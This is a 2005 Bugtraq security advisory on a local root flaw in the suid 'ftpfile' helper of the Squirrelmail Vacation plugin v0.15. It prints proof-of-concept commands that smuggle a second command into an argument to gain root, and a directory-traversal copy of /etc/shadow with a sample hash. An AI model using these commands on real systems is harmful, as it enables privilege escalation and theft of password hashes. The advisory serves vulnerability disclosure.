Bugtraq: Squirrelmail vacation v0.15 local root exploit

[LSS Security <exposed () lss hr>]

                        LSS Security Advisory #LSS-2005-01-03
                               http://security.lss.hr

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Title                   :  Squirrelmail vacation v0.15 local root exploit 
Advisory ID             :  LSS-2005-01-03
Date                    :  10.01.2005. 
Advisory URL:           :  http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-01-03
Impact                  :  Privilege escalation and arbitrary file read
Risk level              :  High 
Vulnerability type      :  Local
Vendors contacted       :  No response from vendor


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===[ Overview 

Vacation plugin for Squirrelmail allows UNIX users to set an auto-reply
message to incoming email. That is commonly used to notify the sender of 
the receiver's absence. Vacation plugin specifically uses the Vacation program.
Plugin can be downloaded from:
http://www.squirrelmail.org/plugins/vacation0.15-1.43a.tar.gz



===[ Vulnerability

Within Squirrelmail Vacation plugin there is suid root program 'ftpfile'.
The program is used to access local files in user's home directory. There is
a privilege escalation and arbitrary file read vulnerability in ftpfile. 
Command line arguments are passed to execve() function without checking
for meta-characters, therefore making possible execution of commands as root.

[ljuranic () laptop ljuranic]$ id
uid=509(ljuranic) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic () laptop ljuranic]$  ftpfile 0 root 0 get 0 "LSS-Security;id"
/bin/cp: omitting directory `/root/0'
uid=0(root) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic () laptop ljuranic]$ 

It is also possible to read restricted files (such as /etc/shadow), since
ftpfile can copy a file from user's home directory to any other
directory without checking file name for directory traversal attack.

$ ftpfile localhost root root get ../../../../etc/shadow ./shadow
./shadow[ljuranic () laptop ljuranic]$ head ./shadow
root:$1$Pwqt1daJ$DIe.fhBadNTN6d1br1OGy0:12401:0:99999:7:::
bin:*:10929:0:99999:7:::
daemon:*:10929:0:99999:7:::
lp:*:10929:0:99999:7:::
[ljuranic () laptop ljuranic]$ 



===[ Affected versions

Squirrelmail Vacation v0.15 and previous versions.



===[ Fix

Not available yet.



===[ PoC Exploit

http://security.lss.hr/exploits/



===[ Credits

Credits for this vulnerability goes to Leon Juranic. 



===[ LSS Security Contact
 
 LSS Security Team, <eXposed by LSS>
 
 WWW    : http://security.lss.hr
 E-mail : security () LSS hr
 Tel    : +385 1 6129 775